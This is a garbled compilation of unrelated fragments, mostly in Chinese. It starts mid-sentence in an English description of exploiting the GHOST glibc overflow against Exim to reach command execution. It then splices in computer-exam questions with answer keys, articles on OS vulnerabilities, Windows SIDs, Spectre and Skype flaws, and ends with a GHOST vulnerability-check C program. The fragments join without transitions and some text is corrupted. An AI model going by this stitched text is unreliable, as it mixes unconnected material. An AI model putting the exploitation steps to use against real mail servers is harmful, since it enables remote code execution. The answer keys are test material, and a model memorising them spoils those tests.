/* double links -- used only if free. */struct malloc_chunk* bk_nextsize;};and: X marks the spot where the crucial memory corruption takes place.As a result, this artificially-enlarged free chunk, which is managed byglibc's malloc, overlaps another block of memory, Exim's current_block,which is managed by Exim's internal memory allocator:|< malloc_chunk |< storeblock| |-----|----------------------|------------------------|---------------+---|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ... -----|----------------------|------------------------|---------------+---|----- | ||<-------------------------------------->|artificially enlarged free chunkwhere:typedef struct storeblock {struct storeblock *next;size_t length;} storeblock;Then, we partially allocate the enlarged free chunk and overwrite thebeginning of Exim's current_block of memory (the "storeblock" structure)with arbitrary data. In particular, we overwrite its "next" field:|< malloc_chunk |< storeblock| |-----|----------------------|------------------------|--------+----------|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ... -----|----------------------|------------------------|--------+----------|----- | X ||<------------------------------->|allocated chunkThis effectively turns gethostbyname's buffer overflow into awrite-anything-anywhere primitive, because we control both the pointerto the next block of memory returned by Exim's allocator (the hijacked "next" pointer) and the data allocated (a null-terminated string, theargument of an SMTP command we send to Exim).Finally, we use this write-anything-anywhere primitive to overwriteExim's run-time configuration, which is cached in the heap memory. More precisely, we overwrite Exim's Access Control Lists (ACLs), and achieve arbitrary command execution thanks to Exim's "${run{<command> <args>}}"string expansion mechanism:|< storeblock|-----|-------------------------------|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ... -----|----x--------------------------|---------------|x------------------|----- | |'<------------------------------------------'hijacked next pointer。
最新国家开放大学电大《计算机应用技术基础》形考任务1试题及答案
最新国家开放大学电大《计算机应用技术基础》形考任务1试题及答案
形考任务1
一、单项选择题(每小题5分,共20题)
题目1
微机从结构形式上又可以分为()和便携式计算机。
选择一项:
D. 台式计算机
题目2
BIOS的中文含义是()。
选择一项:
A. 基本输入输出系统
题目3
常用的台式计算机主要由()、显示器、键盘、鼠标和音箱等几个关键部件组成。
选择一项:
D. 主机
题目4
调制解调器(Modem)的功能是实现()。
选择一项:
D. 模拟信号与数字信号的转换
题目5
具有很强的一种互联网能力的广域网络设备是()。
选择一项:
D. 路由器
题目6
在局域网中的各个节点,计算机都应在主机扩展槽中插有网卡,网卡的正式名称是()。
选择一项:
C. 网络适配器
题目7
防病毒系统在哪个阶段可以获得病毒入侵报告?()
选择一项:
A. 评估与恢复阶段
题目8
被以下哪种病毒感染后,会使计算机产生下列现象:系统资源被大量占用,有时会弹出RPC服务终止的对话框,并且。
关于不同操作系统安全漏洞的比较研究。
关于不同操作系统安全漏洞的比较研究。
操作系统安全漏洞是计算机系统中的常见问题,有时可能导致严重的安全风险。
本文将对常见的操作系统安全漏洞进行比较研究,包括Windows、Linux和Mac OS三种主要操作系统。
1. Windows安全漏洞:Windows是全球最常用的操作系统之一,因此也是攻击者的主要目标之一。
Windows操作系统的安全漏洞种类繁多,包括但不限于以下几个方面:(1) 网络攻击:Windows操作系统经常遭受网络攻击,如病毒、蠕虫、木马等,这些攻击主要是利用操作系统服务和网络协议的漏洞。
(2) 缓冲区溢出:Windows使用的编程语言C/C++容易产生缓冲区溢出问题,攻击者可以通过利用溢出来执行恶意代码,从而获取系统权限。
(3) 身份验证和访问控制:Windows操作系统中存在一些常见的身份验证和访问控制漏洞,攻击者可能通过绕过身份验证或破坏访问控制来获取敏感信息。
2. Linux安全漏洞:Linux操作系统出于其开源的本质,相较于Windows在安全方面具有一些优势。
然而,由于Linux操作系统广泛应用于服务器和云环境,攻击者也会对其进行有针对性的攻击。
以下是一些常见的Linux安全漏洞:(1) 特权提升:攻击者可能通过利用Linux内核或应用程序中的漏洞来提升权限,从而获取系统的root权限。
(2) Shellshock漏洞:2014年发现的Shellshock漏洞是一个严重的漏洞,能够允许攻击者通过特制的环境变量注入恶意代码,进而实现远程执行任意代码。
(3) Heartbleed漏洞:Heartbleed漏洞是OpenSSL软件库中的一个严重安全问题,使得攻击者可以从服务器获取敏感信息,如私钥和用户凭据。
3. Mac OS安全漏洞:Mac OS是苹果公司开发的专用操作系统,相较于Windows和Linux,Mac OS在市场占有率较低,因此直接受到的攻击相对较少。
但同样存在一些安全漏洞:(1) 宏病毒:Mac OS中使用的Office软件(如Word和Excel)可能受到宏病毒攻击。
202212国产操作系统(麒麟)运维师(初级)考前冲刺卷A2卷
2022.12国产操作系统(麒麟)运维师(初级)考前冲刺卷A2卷1.【单选题】下面哪一个是属于麒麟云计算的产品( )。
A:桌面操作系统B:高可用性能计算集群C:容器云平台软件D:嵌入式操作系统正确答案:C答案解析:麒麟云计算的产品有云管理平台软件、容器云平台软件、云桌面软件。
2.【单选题】下列哪些指令可以用来关闭系统( )。
A:rebootB:shutdown -r nowC:init 6D:init 0正确答案:D答案解析:reboot、shutdown -r now、 init6指令可以用来重启系统3.【单选题】系统中有用户tom和alex,同属于users组。
在tom用户目录下有一文件file1,它拥有644的权限,如果alex用户想修改tom用户目录下的file1文件,应拥有( )权限。
A:744B:664C:646D:746正确答案:B答案解析:tom与uer2同属一组,alex要该tom的文件,则该文件需要增加组用户rw权限4.【单选题】系统鉴别root用户的依据是( )。
A:用户名是root的用户B:口令中包含root的帐户C:uid是0的用户D:第一个登录系统的帐户正确答案:C答案解析:系统鉴别root用户的依据是uid是0的用户5.【单选题】系统引导的过程一般包括如下几步:1 用户登录 2 Linux操作系统内核运行 3 MBR中的引导程序启动 4 Init进程运行 5 BIOS自检。
正确的顺序是( )。
A:5 3 2 4 1B:5 1 2 3 4C:5 2 3 4 1D:1 2 3 4 5正确答案:A答案解析:正确的顺序是:532416.【单选题】麒麟桌面操作系统v10版安装完软件包之后可以在什么地方找到并打开( )。
A:任务栏B:开始菜单C:启动器D:控制中心正确答案:B答案解析:麒麟桌面操作系统v10版安装完软件包之后可在开始菜单所有软件里搜索7.【单选题】存放系统配置文件的目录是( )。
SID详解-帮你理解为何在域中不宜使用GHOST
SID 的获得 开始-运行-regedt32- HKEY_LOCAL_MACHINESAMSAMDomainsBuiltinAliasesMembers, 找到本地的域的 代码,展开后,得到的就是本地帐号的所有 SID 列表。 其中很多值都是固定的,比如第一个 000001F4(16 进制),换算成十进制是 500,说明 是系统建立的内置管理员帐号 administrator,000001F5 换算成 10 进制是 501,也就 是 GUEST 帐号了,详细的参照后面的列表。 这一项默认是 system 可以完全控制,这也就是为什么要获得这个需要一个 System 的 Cmd 的 Shell 的原因了,当然如果权限足够的话你可以把你要添加的帐号添加进去。 或者使用 Support Tools 的 Reg 工具: reg query "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList
我们来先分析这个重要的 SID。第一项 S 表示该字符串是 SID;第二项是 SID 的版本号, 对于 2000 来说,这个就是 1;然后是标志符的颁发机构(identifier authority),对于 2000 内的帐户,颁发机构就是 NT,值是 5。然后表示一系列的子颁发机构,前面几项是 标志域的,最后一个标志着域内的帐户和组。
SID 的作用 用户通过验证后, 登陆进程会给用户一个访问令牌, 该令牌相当于用户访问系统资源的 票证, 当用户试图访问系统资源时, 将访问令牌提供给 Windows NT, 然后 Windows NT 检查用户试图访问对象上的访问控制列表。如果用户被允许访问该对象,Windows NT 将 会分配给用户适当的访问权限。 访问令牌是用户在通过验证的时候有登陆进程所提供的, 所以改变用户的权限需要注销 后重新登陆,重新获取访问令牌。
2年前的“幽灵”漏洞,再度在新型国产处理器上发现
2年前的“幽灵”漏洞,再度在新型国产处理器上发现展开全文有史以来最严重的芯片级漏洞“幽灵”,曾经在2018年引发了全球用户对信息安全的担忧。
当年的Intel、AMD、ARM等诸多主流处理器无一幸免。
灾难从服务器端一直延伸到移动终端,一时间所有智能设备都被贴上了不可信任的标签。
点击加载图片记得当年,Google Project Zero团队刚发现这个漏洞时,最初测试目标主要是Intel家的。
基本所有的Intel家族全军覆没。
点击加载图片作为老对手,AMD第一时间表示:“AMD的全系列的处理器均无“幽灵”漏洞的风险。
”一时间,Intel的股价暴跌,AMD股价暴涨(华尔街资本也不是单纯,只是借机炒作而已)。
不过好景不长,AMD很快就被Intel实力打脸。
甚至在一边看热闹的ARM也被殃及池鱼。
Intel一怒之下,亲自证明了AMD和ARM处理器也存在同样的漏洞风险。
笔者真的感觉ARM也没对Intel落井下石,真的是看热闹也挨揍的节奏。
不过后来公布的研究结果也证明了Intel的言之确凿。
点击加载图片Intel和AMD两位神仙大佬打架,ARM被一次又一次地拖下水。
Cortex A系列以及一些基于版处理器IP深度定制的处理器都存在“幽灵”漏洞。
好在还有Cortex M系列芯片组的手机,否则真的就没有一个安全的了。
不过毕竟Cortex A是主流,即便是深度定制化的评估A 系列处理器,也没没能逃脱“幽灵”这一梦魇。
一度苹果的设备(全部型号设备)都被人深度质疑安全性的问题。
点击加载图片“幽灵”是一个什么样的漏洞呢?通过一些特殊脚本先熔断CPU的安全防护,再“骗过”CPU,直接读取核心内存。
尤其是在虚拟化云服务盛行的今天。
这一漏洞足以跨虚拟机,直接读取物流主机的所有核心敏感数据。
关键敏感信息包括用户的个人隐私信息(用户个人基础信息、密码、私密照片、该网站的访问记录)。
而且还有可能对其中一部分数据进行更换和篡改,而且服务器上不会留下任何相关的日志记录。
2024年网络安全知识竞赛试题
2024年网络安全知识竞赛试题一、选择题1、PKI的主要理论基础是() [单选题]A、对称密码算法B、公钥密码算法(正确答案)C、量子密码D、摘要算法2、下列关于操作系统的说法,不正确的是:()。
[单选题]A、操作系统为用户提供两种接口:命令接口和程序接口B、常见的个人操作系统有Wind()ws系列和1.inux系列C、1.inux系统是一款闭源操作系统(正确答案)D、操作系统在计算机系统中位于硬件和应用软件之间,所以,操作系统既面向系统资源又面向用户3、以下哪一项是伪装成有用程序的恶意软件?() [单选题]A、计算机病毒B、特洛伊木马(正确答案)C、逻辑炸弹D、蠕虫程序4、在设计信息系统安全保障方案时,以下哪个做法是错误的: [单选题]A、要充分切合信息安全需求并且实际可行B、要充分考虑成本效益,在满足合规性要求和风险处置要求的前提下,尽量控制成本C、要充分采取新技术,在使用过程中不断完善成熟,精益求精,实现技术投入保值要求(正确答案)D、要充分考虑用户管理和文化的可接受性,减少系统方案障碍5、下列关于木马病毒的特性,不正确的是() [单选题]A、隐蔽性B、主动传播性(正确答案)C、自动运行性D、破坏性6、下列关于计算机病毒说法错误的是() [单选题]A、有些病毒仅能攻击某一种操作系统,如WinD.owsB、病毒一般附着在其他应用程序之后C、每种病毒都会给用户造成严重后果(正确答案)D、有些病毒能损坏计算机硬件7、计算机网络的安全是指()。
[单选题]A、网络中设备设置环境的安全B、网络使用者的安全C、网络中信息的安全(正确答案)D、网络的财产安全8、下列关于漏洞的说法,不正确的是()。
[单选题]A、漏洞是指计算机系统在硬件、软件、协议的设计、具体实现以及系统安全策略上存在的缺陷和不足B、安全漏洞是信息安全的核心问题C、漏洞狭义的概念是指软件程序漏洞或缺陷D、为了防止计算机的漏洞被黑客利用,我们可以关掉计算机的“自动更新”功能(正确答案)9、当用户通过域名访问某一合法网站时,打开的却是一个不健康的网站,发生该现象的原因可能是()。
寒假试卷2 计算机组装与维护复习题
寒假试卷2 计算机组装与维护复习题1.Windows 7安装完成后一般还需安装一些硬件设备的驱动程序,但硬件设备不必再安装驱动程序。
() [单选题] *A.BIOS能识别的(正确答案)B.BIOS不能识别的C.操作系统不能识别的D.最新的2.使用硬盘分区工具进行硬盘分区时,窗口如图所示,此时能从图中得知的信息是()[单选题] *A.这是诺顿分区大师PM软件B.C:是活动分区(正确答案)C.D:是扩展分区D.E:是主分区3.下列关于漏洞和补丁说法不正确的是() [单选题] *A.漏洞无法避免,但可修补,修补后就不会再有新漏洞(正确答案)B.漏洞产生原因有人为、技术有限和硬件等原因C.漏洞存在于软件、操作系统、应用软件甚至于硬件中D.补丁用于修补漏洞的程序,一般由软件原有开发者提供4.PDP(等离子显示器)是采用了近几年来高速发展的等离子平面屏幕技术,下列不属于它特点的是() [单选题] *A.对比度低(正确答案)B.色彩还原性好C.响应速度快D.亮度高5.某DVD光盘上标记有“DVDRW”字样,此标记表明这光盘() [单选题] *A.是只能写入一次,可以反复读出的一次性写入光盘B.是可多次擦除刻录型光盘(正确答案)C.是只能读出,不能写入的只读光盘D.RW是Read and Wirte 的缩写6.在各类补丁程序中,建议用户根据自己需求有选择地安装或者不安装的补丁是() [单选题] *A.安全补丁B.功能补丁(正确答案)C.不适合补丁D.不安全补丁7.鼠标键盘使用的接口有USB和PS/2两种,前者为线组成。
() [单选题] *A.4(正确答案)B.6C.8D.158.当计算机启动后,BIOS会运行自检程序初始化硬件并完成对计算机硬件的检测,若发现错误便会中断检测并给出错误提示,以下不属于BIOS自检的是()[单选题] *A.CPUB.注册表(正确答案)C.CMOSD.RAM9.以下方法能解决计算机速度变慢的是() [单选题] *A.将平常使用的文件放在桌面上B.通过“本地连接”给网卡分配一个IP地址,如192.168.1.108(正确答案)C.为了避免系统出现故障,开启系统还原功能D.为了防止病毒导致电脑变慢,开启“系统启动扫描”功能10.下列关于“自动更新”功能的描述,正确的是() [单选题] *A.Windows操作系统使用过程中,只要有新的更新可用,随时都可以进行自动更新B.所有的应用软件都有自动更新的功能C.屏幕右下角的标志,表示目前系统正在下载补丁或可以安装补丁(正确答案)D.通过“控制面板”的“系统和安全”组件,再单击打开“Windows Update”,最后在右边选择打开“更改设置”,可以打开系统“自动更新”功能11.下列各接口中,________是数字视频接口,它无须将显卡产生的数字信号转换成有损模拟信号,可直接显示在屏幕上。
Skype出现严重安全漏洞影响两大操作系统
Skype出现严重安全漏洞影响两大操作系统
计世网10月26日消息本周二,Skype技术公司称Skype软件中发现了严重的漏洞。
为些,该公司敦促用户尽快对其软件进行升级,防止问题出现。
如果存在的漏洞被攻击者利用,他们将会控制Skype系统。
上述漏洞会影响Windows 1.1g 到1.4等版本。
第一步,这种漏洞会引诱用户点击Skype上设定的一个URL;第二步,它会要求Skype用户输入恶意的vCard。
vCard是一种电子商务卡,用于电子邮件程序。
Secunia机构的研究员称,这种漏洞属于“严重级”,并列出第三类错误,它会影响Mac OSt Linux系统。
Secunia组织建议用户升级最新的版本。
目前为止,尚未接到用户遭受恶意攻击的案例。
防火墙厂商SmoothWall的产品主管Tom Newton称,尽管这种漏洞不会形成大规模的影响,但由于Skype的功能独特,且用户人数在不断增长,它会吸引更多的攻击者的注意。
“从网络管理员的角度看,这很难控制。
一旦一个用户被感染,不怀好意者就会借题发挥。
” SKype称,现有注册成员约6100万,攻击者对此已引起了注意。
不久前,eBay公司宣布收购Skype,这将使Skype在在线电子商务中起重要的作用,使其更具吸引力。
实际上,黑客已盯上了Skype,尽管他们没有发动大规模的攻击活动。
本月早些时候,攻击者开始通过电子邮件附件的形式向Skype发送恶意“特洛伊木马”。
幽灵(GHOST)漏洞解析
CVE-2015-0235:幽灵(GHOST)漏洞解析0x01 摘要Qualys公司在进行内部代码审核时,发现了一个在GNU C库(glibc)中存在的__nss_hostname_digits_dots函数导致的缓冲区溢出漏洞。
这个bug可达可以通过gethostbyname *()函数来触发,本地和远程均可行。
鉴于它的影响,我们决定仔细分析它。
分析完成后,我们也决定以“幽灵”(GHOST)命名此漏洞。
我们的分析过程中得出的主要结论是:- 通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出。
经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出(理论上说,调用者提供的缓冲区可位于堆,栈,.data节和.bss节等。
但是,我们实际操作时还没有看到这样的情况)。
- 漏洞产生时至多sizeof(char* )个字节可被覆盖(注意是char*指针的大小,即32位系统上为4个字节,64位系统为8个字节)。
但是payload中只有数字( '0 '...' 9') ,点( “.”) ,和一个终止空字符('\0' ) 可用。
- 尽管有这些限制,我们依然可以执行任意的代码。
我们开发了一套完整的针对Exim邮件服务器的攻击PoC,测试中发现可以绕过所有现有保护 ( ASLR,PIE和NX )。
且可以通杀32位和64位的机器。
而且,在不久的将来,我们还会发布一个Metasploit的模块。
- 据悉,GNU C库的第一个易受攻击版本是glibc-2.2 ,发布于2000年11月10日,相当有年头了。
- 据了解,是有一些方法可以减轻影响的。
事实上,这个漏洞其实在2013年5月21日就已经被修复了(在glibc-2.17和glibc-2.18的发行版之间) 。
不幸的是,当时它并没有被认为是一个安全威胁。
黑客专用的操作系统kali之幽灵漏洞
黑客专用的操作系统kali之幽灵漏洞1、如何理解spectre漏洞:Spectre漏洞是一个存在于分支预测实现中的硬件缺陷及安全漏洞,含有预测执行功能的现代微处理器均受其影响,漏洞利用是基于时间的旁路攻击,允许恶意进程获得其他程序在映射内存中的数据内容。
同时,新型的类Spectre漏洞也在这次的安全更新中发布,名为Bounds Check Bypass Store攻击。
这样黑客就能在安装有英特尔芯片的电脑中盗取用户密码、数字货币密钥或其他一些敏感信息。
尽管是一种“存储”攻击,但是内存中的代码或数据并没有得到保护,只要是使用英特尔芯片的某个线程,功能指针和返回地址就有可能在攻击过程中被改写,这样恶意代码就可以改写芯片的进程从而获取芯片内存中的数据。
2、spectre漏洞完成攻击的步骤:首先在现代处理器中的,恶意程序可以通过程序内部的运行操纵分支预测逻辑,使得分支预测命中或者失败的情况可以提前判断。
其次展示了,可以可靠地对缓存命中和未命中间的差异进行计时,因此,本来应该是简单的非功能差异,实际却可作为秘密信道,从无关信息中提取进程的内部工作信息。
然后,会以一个简单的示例程序和一个在浏览器沙盒中运行的JavaScript片段为基础,将结果与返回导向编程攻击等原理进行综合;在这两种情况下,只需简单使用由普通编译器或现有浏览器中JavaScript引擎生成的代码,利用其中条件分支的预测执行,受害者进程的整个地址空间(即运行中程序的内容)都将可读。
其基本思想是,在现有的代码中寻找预测执行可能涉及到不可访问数据的地方,操纵处理器,使得预测执行必须触及该数据的实际内容,然后对处理器的副作用计时,这时预取机制已经加载完成了一条缓存线,结果就是访问这条缓存线的数据速度会更快。
最后,本文将这种攻击一般化到受害进程的任何非功能状态上。
紧接着讨论了甚至像总线仲裁延迟这样非常不明显的非功能性效应。
3、spectre漏洞修复存在的问题由于漏洞是芯片底层设计上的缺陷导致的,修复起来会非常复杂,同时难以完美修复。
2023上半年 国产操作系统(麒麟)安全管理师(初级)考前冲刺题A3卷
2023上半年国产操作系统(麒麟)安全管理师(初级)考前冲刺题A3卷1.【单选题】最终的进程优先级共多少级,称为基本优先级( )。
A:30级B:32级C:16级D:28级正确答案:B答案解析:进程优先级共 32 级,是从 0 到 31 的数值2.【单选题】多路径的优点主要是( )。
A:冗余B:改进性能C:冗余和改进性能D:便于使用正确答案:C答案解析:多路径的优点主要是冗余和改进性能。
3.【单选题】软件的( )可以作为软件唯一性特征,可以作为软件白名单关键要素。
A:SM3值B:绝对路径C:相对路径D:名称正确答案:A答案解析:SM3是国密哈希算法,可以作为软件唯一性特征,可以作为软件白名单关键要素。
4.【单选题】静态度量机制能够防御( )。
A:已知恶意程序B:既能够防御已知恶意程序,也能防御未知恶意程序C:未知恶意程序D:系统漏洞正确答案:B答案解析:静态度量机制既能够防御已知恶意程序,也能防御未知恶意程序。
5.【单选题】漏洞管理的5个过程是漏洞预警、漏洞检测、( )、漏洞修复和漏洞审计。
A:风险管理B:漏洞挖掘C:漏洞补丁D:系统漏洞正确答案:A答案解析:漏洞管理的5个过程是漏洞预警、漏洞检测、风险管理、漏洞修复和漏洞审计。
6.【单选题】麒麟采取的漏洞定级标准是( )。
A:CVSS 3.0B:CVSS 2.0C:CVSS 3.2D:CVSS 3.1正确答案:D答案解析:麒麟采取的漏洞定级标准是CVSS 3.1。
7.【单选题】社会工程学的( )等属于信息系统的安全威胁。
A:拒绝服务攻击B:内部人员威胁C:特洛伊木马D:ARP欺骗、IP源地址欺骗正确答案:B8.【单选题】商用密码能否用于保护国家秘密信息( )。
A:可以B:不可以C:特定行业可以D:根据需要确定正确答案:B答案解析:商用密码不用于保护国家秘密信息。
9.【单选题】在麒麟操作系统中,安全中心的哪个功能模块可以实现一键安全加固与还原( )。
浅谈漏洞对计算机系统的影响
浅谈漏洞对计算机系统的影响[摘要] 计算机系统的安全稳定是一切工作的前提,计算机系统安全威胁最大的就是计算机系统存在的漏洞。
绝大部分黑客攻击事件都是利用计算机未修补的系统漏洞与错误的系统设定而引起的,当黑客探测到系统漏洞后,随之而来的是病毒传播,信息泄露,速度缓慢,乃至整个计算机系统瘫痪崩溃。
[关键词] 漏洞安全攻击计算机系统控制网络在科技飞速发展信息大爆炸的今天,计算机作为方便快捷的工具在现实中的各个领域被广泛的应用。
对计算机系统安全威胁最大的就是漏洞。
漏洞是硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
漏洞会影响到很大范围的软、硬件设备,包括系统本身及支撑软件,网络用户和服务器软件,网络路由器和安全防火墙等。
计算机系统软件由应用系统软件和操作系统软件组成,因此系统漏洞也就包括应用系统软件漏洞和系统软件漏洞。
本文分别分析说明这两种漏洞对计算机系统的影响以及解决漏洞问题的简单方法。
一、系统软件漏洞对计算机系统的影响(1)帮助和支持中心漏洞:此漏洞可以删除用户系统的文件。
帮助和支持中心提供集成工具,用户通过该工具获取针对各种主题的帮助和支持。
在目前版本的Windows XP帮助和支持中心存在漏洞,该漏洞使攻击者可跳过特殊的网页(在打开该网页时,调用错误的函数,并将存在的文件或文件夹的名字作为参数传送)来使上传文件或文件夹的操作失败,随后该网页可在网站上公布,以攻击访问该网站的用户或被作为邮件传播来攻击。
该漏洞除使攻击者可删除文件外,不会赋予其他权利,攻击者既无法获取系统管理员的权限,也无法读取或修改文件。
(2)UPNP服务漏洞。
UPnP(通用即插即用协议,全称Universal Plug and Play),是一种允许主机定位和使用局域网上设备的服务,它可以利用IP协议使计算机、扫描仪、打印机、数码相机等设备能互相自动搜寻以便进行通讯,网络设备利用UPnP,可以查找出连接于同一网络中的其它设备,这就如同即插即用程序那样,安装了新硬件后PC即可自动找到硬件。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
幽灵漏洞(GHOST)影响大量Linux系统及其发行版
安全研究人员近日曝出一个名为幽灵(GHOST)的严重安全漏洞,这个漏洞可以允许攻击者远程获取操作系统的最高控制权限,影响市面上大量Linux操作系统及其发行版。
该漏洞CVE编号为CVE-2015-0235。
什么是glibc
glibc是GNU发布的libc库,即c运行库。
glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。
glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。
glibc囊括了几乎所有的UNIX通行的标准。
漏洞概述
代码审计公司Qualys的研究人员在glibc库中的__nss_hostname_digits_dots()函数中发现了一个缓冲区溢出的漏洞,这个bug可以经过gethostbyname*()函数被本地或者远程的触发。
应用程序主要使用gethostbyname*()函数发起DNS请求,这个函数会将主机名称转换为ip地址。
更多漏洞细节:详见视频
影响范围
该漏洞影响glibc库版本2.2-2.17的Linux操作系统
操作系统类型包括
CentOS 6 & 7
Debian 7
Red Hat Enterprise Linux 6 & 7
Ubuntu 10.04 & 12.04
各Linux发行版
漏洞测试
1、编译以下测试代码
1.#include <netdb.h>
2.#include <stdio.h>
3.#include <stdlib.h>
4.#include <string.h>
5.#include <errno.h>
6.#include <gnu/libc-version.h>
7.#define CANARY "in_the_coal_mine"
8.struct {
9.char buffer[1024];
10.char canary[sizeof(CANARY)];
11.} temp = { "buffer", CANARY };
12.int main(void) {
13.struct hostent resbuf;
14.struct hostent *result;
15.int herrno;
16.int retval;
17./*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
18.size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
19.char name[sizeof(temp.buffer)];
20.memset(name, '0', len);
[len] = '\0';
22.retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
23.if (strcmp(temp.canary, CANARY) != 0) {
24.puts("vulnerable");
25.exit(EXIT_SUCCESS);
26.}
27.if (retval == ERANGE) {
28.puts("not vulnerable");
29.exit(EXIT_SUCCESS);
30.}
31.puts("should not happen");
32.exit(EXIT_FAILURE);
33.}
2、上述测试程序可以显示出glibc版本和主机是否存在漏洞
gcc gistfile1.c -o CVE-2015-0235
./CVE-2015-0235
【编辑推荐】
1.如何借助lynis扫描Linux的安全漏洞?
2.你知道近一半USB设备存在安全漏洞吗?
3.2014年互联网十大安全漏洞及思考
4.Oracle发布严重安全漏洞预警:CVE-2015-0393
5.Flash曝严重安全漏洞影响全部版本Windows系统。